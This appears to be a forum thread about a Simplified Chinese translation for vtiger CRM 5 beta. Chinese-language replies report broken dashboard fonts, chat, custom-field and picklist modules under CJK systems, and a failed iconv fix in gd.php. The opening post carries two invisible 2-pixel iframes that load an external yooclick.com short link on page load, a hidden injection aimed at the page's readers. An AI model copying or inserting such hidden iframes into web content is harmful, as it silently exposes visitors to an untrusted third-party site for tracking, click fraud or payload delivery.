Simple_chinese lang for V5 Beta
Share!!!
But my speciality knowledge in CRM is not good.
If there are some bug or error,please type here .
Let us solve it together! <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe> <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>
Comments
提醒大家慎用,,,,,,,并恳请各位高人指教具体的解决方法.
感觉vtiger5.0的设计,忽略了非字母文字的国际化..
我翻译时使用的环境如下:
os:windows 2003 server(chinese or japanese or korea)
+ap+mysql+php
翻译前的步骤:
step 1)vtiger v5 for windows setup
step 2)
add vtigercrm\include\language\cn_zh.lang.php or ja.lang.php.....
.
.
.
step 3)
add vtigercrm\modules\dashboard\language\cn_zh.lang.php or ja.lang.php.....
.
.
.
step 4)
config.inc.php setting
$languages = array('cn_zh'=>'chinese','ja'=>'japanese'','en_us'=>'us english',);
$default_charset = 'utf-8';
$default_language = 'cn_zh';
step 5)
portal:
select chinese or japanese
login
完成以上步骤后,对各模块进行翻译测试,发现v5版的严重问题. <!-- s:!: --><img src="{smilies_path}/icon_exclaim.gif" alt=":!:" title="exclamation" /><!-- s:!: -->
以下4个重要模块,无法在"非字母文字"(中文,日文,韩文...)os下 正常工作.
*******err***
1)dashboard modules, ===>err imagettfbbox() [function.imagettfbbox]: could not find/open font in .....
2)chat room modules, ===>no view (utf-8下,画面残缺,且无法显示非字母文字)
3)custom fields modules, ===>edit(chinese or japanese) (无法输入非字母文字)
4)picklist editor modules settings, ===>view: font code only (无法显示非字母文字)
**********
edit image/canvas/gd.php
在 function addtext($param)中添加:
$text=iconv("utf-8","gb18030",$text);
转码后,原来出现的any2eucjp这个错没有了,但是汉字是乱码。
我检查过转换后传递给imagestring的的确是gb18030编码。
但是不知到imagestring收到该字符串后做了什么操作把它变成乱码了。
如果换成utf-8编码并使用arialunicode字体根本不行,会报出一大堆any2eucjp的错,好像是系统自动把编码转成日文了。
有谁对gd库比较了解的帮助解释一下啊。。。